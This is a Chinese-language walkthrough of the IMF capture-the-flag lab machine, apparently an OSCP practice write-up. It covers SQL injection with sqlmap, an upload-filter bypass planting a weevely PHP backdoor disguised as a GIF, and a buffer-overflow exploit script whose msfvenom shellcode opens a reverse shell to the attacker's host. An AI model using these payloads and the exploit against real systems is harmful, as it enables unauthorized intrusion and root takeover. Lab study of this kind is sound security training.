当前位置: 代码迷 >> 综合 >> OSCP IMF 靶机渗透
  详细解决方案

OSCP IMF 靶机渗透

热度:66   发布时间:2023-10-22 02:02:59.0

IMF 靶机渗透

目标:得到root权限
作者:shadow
时间:2021-03-16

请注意:对于所有计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。

一、信息收集

netdiscover -i eth0 imf主机ip为172.16.1.13

OSCP IMF 靶机渗透

然后我们nmap一下看看哪些端口是开放的

nmap -p- -A 172.16.1.13

OSCP IMF 靶机渗透

主机只开放了80端口,登录浏览器看看情况

home页面什么都没有

OSCP IMF 靶机渗透

projects页面为一些无用的信息

OSCP IMF 靶机渗透

contact us 页面是一个发邮件的页面

OSCP IMF 靶机渗透

我们查下网页源代码,看看会发现什么

OSCP IMF 靶机渗透

果然有发现,我们发现了flag1,flag采用base64加密,直接解密下就可以

flag1{YWxsdGhlZmlsZXM=}

解密后为allthefiles

尝试登陆下发现没用,继续查找线索

OSCP IMF 靶机渗透

查看home页面源代码发现有很奇怪的字符,像是加密过得,我们尝试解密

OSCP IMF 靶机渗透

将密文连起来为ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

解密后为flag2{aW1mYWRtaW5pc3RyYXRvcg==}得到flag2,看来是套中套

flag2解密后为imfadministrator

用flag2尝试登陆,竟然是一个登录页面

二、web渗透

OSCP IMF 靶机渗透

输入用户名test 密码test 提示无效用户名

使用burpsuit尝试爆破

在爆破的过程中,查看response的时候发现了一条注释。。

OSCP IMF 靶机渗透

意思是我无法让SQL工作,所以我硬编码了密码。它仍然很安全。Roger

刚才我们看到contact us里面有三个人,其中一个就叫Roger S.Michaels,邮箱为rmichaels@imf.local

我们尝试下用户名rmichaels 发现页面之前提示的无效用户名变成了无效的密码,证明用户存在

此处耗费了很长时间,看网上大神说传空数组可以通过验证,果断尝试了一下好使

OSCP IMF 靶机渗透

OSCP IMF 靶机渗透

得到flag3{Y29udGludWVUT2Ntcw==}

解密为continueTOcms

提示继续cms

我们点击IMF CMS进入,里面三个页面,源代码也没发现什么,使用dirb扫描下

OSCP IMF 靶机渗透

 

 

dirb http://172.16.1.13/imfadministrator/

OSCP IMF 靶机渗透

发现有一个上传文件夹,但是不知道如何上传,继续找,尝试sql注入

OSCP IMF 靶机渗透

将home改为*,保存为imf,然后使用sqlmap跑下

sqlmap -r imf --risk=3 --level=5 --dbs --dump --batch --threads=10

OSCP IMF 靶机渗透

发现了一张图片,我们看一下,里面有个二维码,扫描一下得到flag4

OSCP IMF 靶机渗透

flag4{dXBsb2Fkcjk0Mi5waHA=}

解密为uploadr942.php

登录图片如下,可以上传文件,我们尝试传一个php木马获得shell

OSCP IMF 靶机渗透

使用weevely创建php木马

weevely generate imf123 backdoor.php

然后点击上传发现提示无效文件类型,看了只可以传jpg、png、gif试试了

OSCP IMF 靶机渗透

weevely生成gif进行尝试,发现提示无效的文件数据

OSCP IMF 靶机渗透

也就是说在上传时先检测上传的文件是不是图片文件,直接检测了文件的后缀名是不是图片格式,如果是就通过了这一步验证。接下来判断Content-type的值,如果是

image那就认为是上传了图片文件,服务器端并没有对文件的头进行检测。所以我们直接生成GIF木马,然后修改文件头,增加GIF+任意数字

OSCP IMF 靶机渗透

然后上传文件,显示文件上传成功,我们使用weevely连接我们的木马

OSCP IMF 靶机渗透

打开页面源代码查看木马值

OSCP IMF 靶机渗透

weevely http://172.16.1.13/imfadministrator/uploads/3b8dce6e55c4.gif imf123

成功回弹shell,得到flag5

OSCP IMF 靶机渗透

flag5{YWdlbnRzZXJ2aWNlcw==}

解密后agentservices

三、提权

我们跟着提示查找agent,发现有代理在执行

OSCP IMF 靶机渗透

去根目录看看有什么,结果发现了access_codes

OSCP IMF 靶机渗透

SYN 7482,8279,9467

我们尝试用Knock撬开端口

下载链接git clone https://github.com/grongor/knock.git

OSCP IMF 靶机渗透

OSCP IMF 靶机渗透

现在7788端口已经开放,下载反汇编工具retdec来看看他的agent工作原理

git clone https://github.com/avast/retdec.git

安装所需要的工具

apt-get install build-essential cmake git perl python3 bison flex libfl-dev autoconf automake libtool pkg-config m4 zlib1g-dev upx doxygen graphviz

安装retdec

cd retdec
mkdir imf && cd imf
cmake .. -DCMAKE_INSTALL_PREFIX=~/retdec

(若此处报错未找到openssl就安装 openssl 的编译依赖apt-get install libssl-dev)

make && make install

OSCP IMF 靶机渗透

安装成功后我们将imf的agent下载到本地

:file_download /usr/local/bin/agent ~/retdec/bin

使用retdec-decompiler进行反编译

/retdec-decompiler agent

OSCP IMF 靶机渗透

查看agent相关信息

cat agent* | less -Sr

OSCP IMF 靶机渗透

agent id为0x2ddd984

echo $((0x2ddd984))

转化后为48093572

接下来我们进入agent看看是什么

chmod +x agent

./agent

输入agent id成功进入

OSCP IMF 靶机渗透

主菜单中第三个为提交报告,可能会存在缓冲区溢出漏洞,我们尝试提交100个a

python -c 'print "a" * 100'

100个a没问题,再试试200个a

ok果然报错了,尝试缓冲区溢出攻击提权

OSCP IMF 靶机渗透

搜索字符创建模板

locate pattern_create

OSCP IMF 靶机渗透

使用msf的模板创建200个字符长度的字符序列

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

使用debugger运行agent,输入agent id ,运行Submit Report 输入刚才得到的200个字符

gdb agent

run

OSCP IMF 靶机渗透

OSCP IMF 靶机渗透

EIP的地址为0x41366641

使用pattern_offset.rb找到偏移量为168

locate pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41366641

OSCP IMF 靶机渗透

生成反弹shell代码

msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.1.4 LPORT=4444 -f python -b "\x00\x0a\x0d"
查看agent跳转地址

objdump -d agent | grep jmp | grep eax

发现没有,我们再看看有没有call eax的,结果如下

OSCP IMF 靶机渗透

在8048563这个地址进行了call

编写溢出脚本

#!/usr/bin/python
import time, struct, sys
import socket as so

#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=172.16.1.4 -b "\x00\x0a\x0d" -f py

buf =  b""
buf += b"\xba\xdc\xf0\xb0\xb6\xdd\xc5\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x12\x31\x50\x12\x83\xe8\xfc\x03\x8c\xfe\x52"
buf += b"\x43\x1d\x24\x65\x4f\x0e\x99\xd9\xfa\xb2\x94\x3f\x4a"
buf += b"\xd4\x6b\x3f\x38\x41\xc4\x7f\xf2\xf1\x6d\xf9\xf5\x99"
buf += b"\xc1\xe9\x04\x5d\x72\x08\x07\x4c\xde\x85\xe6\xde\xb8"
buf += b"\xc5\xb9\x4d\xf6\xe5\xb0\x90\x35\x69\x90\x3a\xa8\x45"
buf += b"\x66\xd2\x5c\xb5\xa7\x40\xf4\x40\x54\xd6\x55\xda\x7a"
buf += b"\x66\x52\x11\xfc"


#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))

buf +="\x63\x85\x04\x08\n"

try:
   server = str(sys.argv[1])
   port = int(sys.argv[2])
except IndexError:
   print "[+] Usage example: python %s 172.16.1.13 7788" % sys.argv[0]
   sys.exit()

#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)   
print "\n[+] Attempting to send buffer overflow to agent...."
try: 
   s.connect((server,port))
   s.recv(1024)
   s.send("48093572\n")
   s.recv(1024)
   s.send("3\n")
   s.send(buf)
   s.recv(1024)
   print "\n[+] Completed."
except:
   print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
   sys.exit()
开启另一个窗口进行监听

nc -nvlp 4444

执行缓冲区溢出脚本

python overflow.py 172.16.1.14 7788

成功溢出反弹shell,为root权限

OSCP IMF 靶机渗透

并且得到flag6

flag6{R2gwc3RQcm90MGMwbHM=}

解密后Gh0stProt0c0ls

四、总结

这个靶机包含了很多知识点,木马、逆向、缓冲区溢出等等,花了好长的时间学习了缓冲区攻击的溢出原理,一定要手动做!

还有一定要细心观察,得到信息,慢慢渗透下去。。